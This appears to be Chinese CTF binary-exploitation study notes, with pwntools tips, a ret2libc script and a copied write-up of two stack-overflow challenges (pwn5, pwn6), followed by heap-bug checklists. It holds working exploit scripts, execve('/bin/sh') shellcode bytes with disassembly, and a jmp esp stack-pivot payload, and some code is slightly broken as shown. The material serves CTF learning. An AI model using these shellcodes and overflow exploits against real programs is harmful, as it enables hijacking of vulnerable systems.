x64参数按在rdi,rsi,rdx,rcs,r8,r9依次储存
IDA部分
shift f12 字符串
n 重命名
x 查看引用
bash部分
cyclic 200 #生成循环 200个
cyclic -l xxxxx #计算偏移
PWNTOOLS部分
u64
asm
disasm
from pwn import *
sh = process('./ret2libc2')
elf = ELF('./ret2libc2')
rop = ROP(elf)
payload = 'a' * offset
payload += p32(elf.plt['gets'])
payload += p32(rop.search(8).address)
payload += p32(elf.bss() + 0x100)
payload += p32(elf.plt['system'])
payload += p32(0)
payload += p32(elf.bss() + 0x100)
sh.sendline(payload)
sh.sendline('/bin/sh\x00')
sh.interactive()
先执行了pop_ret 然后执行gets，并放到了bss()+ 0x100的地方。随后system(elf.bss()+ 0x100)
pwndbg部分
ret2shellcode
jmp esp
函数返回的时候esp会刚好指向返回地址的下一个地址
作者：看雪学院 链接：https://www.jianshu.com/p/1bdac9837eff 来源：简书
第一题（堆栈直接执行shellcode）
接下来这题，我们再轻松一点，可以直接在堆栈中执行程序。
pwn5（参考“阅读原文”）
继续前面的套路。
第一步，查看保护
发现，可以直接在堆栈上执行程序了，开启的是PIE，地址随机化的保护。
第二步，判断漏洞函数。
发现函数是read，仅仅读取0x40（64）个字节。
第三步，计算目标变量的在堆栈中距离ebp的偏移
EBP的内容为：0x3761413661413561
$ python patternLocOffset.py -l 700 -s 0x3761413661413561
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates…
[+] Possible match at offset 16 (adjusted another-endian)
[+] take time: 0.0005 s
距离EBP的偏移是16个字节，距离存放的返回地址是16+8=24个字节。
这里可以发现IDA分析的又是正确的了，0x10个字节。
第四步和第五步，分析是否已经载入了可以利用的函数
如system，execve等
发现，并没有上述函数。但是由于堆栈可以执行，因此我们可以考虑直接将shellcode阻止在payload里面。因此，这里和第五步分析是否有字符串/bin/sh合并了，我们可以自己放置字符串，并且调用对应的地址了。
理论上，我们可以直接利用pwntools产生的shellcode来进行部署，但是这道题有点特殊。在返回地址之后所剩余的空间=64-24-8=32个字节（返回地址还要占用8个字节），因此实际部署shellcode的长度还剩下32个字节，使用pwntools产生的shellcode有44个字节，太长了。因此，我们可以从网上找到更短的shellcode：
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”
它的汇编形式是：
# char *const argv[]
xorl %esi, %esi
#
‘h’ ’s’ ‘/’ ‘/’ ’n’ ‘i’ ‘b’ ‘/’
movq $0x68732f2f6e69622f, %rbx
#
for ‘\x00’
pushq %rsi
pushq %rbx
pushq %rsp
#
const char *filename
popq %rdi
#
__NR_execve 59
pushq $59
popq %rax
#
char *const envp[]
xorl %edx, %edx
syscall
好了，shellcode确定好了，我们现在还有一个问题。Shellcode执行的地址如何确定呢？shellcode的地址，其实就是buf的地址加上32个字节的偏移。
我们前面发现，该程序是动态改变地址的，因此静态的确认buf地址是不可行的，进而静态的确认shellcode的地址是不可行的。
处理到这里好像有点死胡同了，我们发现程序中有printf函数，理论上可以利用它来打印buf的地址，然后实时的计算buf+32的地址，就能够得到shellcode的地址。但是，我们回头看看程序本身的执行，会发现：
它实际上已经为我们解决了这个问题，自己输出了buf的地址（= = CTF题目的难易程度真的是微妙之间呀）。
那么，我们的exp思路就是： 实时读取buf的地址，计算buf+32得到shellcode的地址，放置在payload中。
from pwn import *
code = ELF(’./pwn5’)
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”
sh.recvuntil(’[’)
buf_addr = sh.recvuntil(’]’, drop=True)
buf_addr = int(buf_addr, 16)
payload = ‘b’ * 24 + p64(buf_addr + 32) + shellcode_x64
sh.sendline(payload)
sh.interactive()
堆栈的布置图，以及地址的相对位置，以buf为起点。
第二题（控制esp进行精准打击）
接下来，我们来点有难度的。在这个程序中，我们的payload实在放不下了，即使是23字节，那么怎么办呢？
pwn6（参考“阅读原文”）
继续前面的过程：
第一步：检测保护情况
发现，是个三无程序。么有任何保护，看起来很简单？哈哈，并没有。看官请继续。
第二步，判断漏洞函数
如gets,scanf等：
发现是fgets函数，仅仅读取50个字节的字符长度。
第三步
计算目标变量的在堆栈中距离ebp的偏移。
方法和前面类似，发现偏移距离ebp是0x20，那么距离ret_addr就是0x20+4=0x24（36）字节了。
第四步和第五步
分析是否已经载入了可以利用的函数。发现并没有：
$ ROPgadget –binary stack_pivoting_1 –string ‘/bin/sh’
Strings information
============================================================
字符串自然也是没有的。
我们考虑利用shellcode，好像可以类似于上一题的操作了。但是并不能，留给我们布置shellcode的长度为50-36-4=10字节（同样有4个字节的返回地址存放）！尴尬不==，放两个地址就没有位置了。但如果你能够厉害到用10个字节做shellcode，请大胆分享出来！
那么怎么办呢？
既然，堆栈溢出的位置不行了，那么我们就把shellcode放在栈里面吧！因为堆栈具有可执行的权限，因此这样完全是可行的。
这里，我先放图出来解释一下思路：
我们这样就总共有0x20（36个字节）的位置存放shellcode的了，顿时感觉找到了新出路。但是，要做到跳转到放置shellcode的位置，似乎并没有那么简单。要达到这个目的，我们需要做到以下几件事情：
推算shellcode放置的地址
跳转到shellcode放置的位置
首先，第一点，shellcode的位置就是发射payload的时候esp_old的位置，我们可以推算出来，当程序提取完返回地址之后，esp指向的地址距离esp_old的地址为0x20+4(ebp)+4(ret_addr)=0x28。因此，我们需要用当前的esp-0x28，得到的就是shellcode的地址。
对于第二点，我们如何让eip顺利的依次取出我们设计好的路线图呢？在ret_addr，我们需要寻找到一个gadget，它能够跳转到esp的位置，以继续往后执行栈上的代码。注意，这里我们为什么不直接将可执行的代码布置在ret_addr的位置，因为这里是原本的函数提取返回函数地址的地方，它并不会执行这里位置的代码，而是执行这个位置的内容指向的地址的代码。我们需要jmp esp这个操作，来让程序流获得在栈上执行的先河。
$ ROPgadget –binary stack_pivoting_1 –only ‘jmp|ret’ | grep ’esp’
0x08048504 : jmp esp
发现只有这么一个地址。0x08048504。这也正是图中的位置。注意，当我们取出ret_addr里面的地址的时候，esp已经+4了，因此就会指向我们的下一步操作：跳转回esp_old的位置。
在这里，我们直接可以选择让pwntools产生可执行的代码”sub esp 0x28; jmp esp”。注意，这里可以是直接运行的代码，因为我们的程序已经开始在栈上执行了，而不再是取出地址了。
最后的EXP按照下面这样布置：
from pwn import *
sh = process(’./pwn6’)
shellcode_x86 = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode_x86 += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode_x86 += “\x0b\xcd\x80”
sub_esp_jmp = asm(‘sub esp, 0x28;jmp esp’)
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * ‘b’ + ‘bbbb’ + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
注意，这里我们又启用了另外一段代码：
它更加短，只有21个字节。Shellcode越短是越好的。它的汇编对应如下：
shellcode_x86 = “\x31\xc9” # xor ecx, ecx
shellcode_x86 += “\xf7\xe1” # mul ecx
shellcode_x86 += “\x51” # push ecx
shellcode_x86 += “\x68\x2f\x2f\x73\x68” # push 0x68732f2f
shellcode_x86 += “\x68\x2f\x62\x69\x6e” # push 0x6e69622f
shellcode_x86 += “\x89\xe3” # mov ebx, esp
shellcode_x86 += “\xb0\x0b” # moval, 0xb
shellcode_x86 += “\xcd\x80” # int 0x80
堆
1、编辑功能是否存在溢出
2、delete地方是否存在多重释放漏洞，删除了节点之后有没有清0
检查了节点是否存在，就不能double free
heaparray[v1] = 0LL 清零了
3、在show函数中有没有检查节点是否存在
v0[1] = malloc(size) 没有对大小限制也算漏洞
只有分配大小不能被2*sizeof(size_t)时才会把下一块chunk的prev_size当作自己的内容区域
off by one 漏洞
要使用off by one，malloc大小不能是16的倍数（64位情况下）
read_input(*(headparray[v1] + 1), *heaparray[v1] + 1LL);
能够修改下一块chunk的size字段，这种情况一般被称为堆扩展技术
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